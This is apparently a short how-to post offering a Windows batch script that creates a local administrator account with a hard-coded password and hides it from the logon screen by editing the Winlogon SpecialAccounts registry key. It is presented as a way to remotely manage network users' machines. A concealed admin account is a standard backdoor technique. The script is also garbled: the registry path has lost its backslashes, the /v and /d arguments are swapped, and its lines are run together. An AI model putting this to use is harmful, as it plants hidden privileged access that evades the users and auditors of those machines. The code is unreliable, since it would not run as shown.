Creating Hidden Users in Windows for Remote Manageability.
Sometimes we need to remotly checkup on our network users using tools such as the Kaspersky Administration Kit, GoverLan, GFI Lan Guard, or the like. Or maybe we need to see what services they are running to check for spyware, or what printers are installed, etc. Well Microsoft has made this a breeze with Active Directory Servers, Domains, and Windows XP Pro and Vista Buisness.
- Create a script to do the dirty work for us.
- Put on a thumb drive.
- Install on each machine.
@echo off set UserID=MySeceretUser set FullName=Doe, John set Comment=Administrative user set Password=MySeceretPassword REM Create the user: net user "%UserID%" "%Password%" /fullname:"%FullName%" /usercomment:"%Comment%" /add REM Add him to the Administrators group: net localgroup "Administrators" "%UserID%" /add REM Remove account from logon screen: reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /d "%UserID%" /t REG_DWORD /v "0"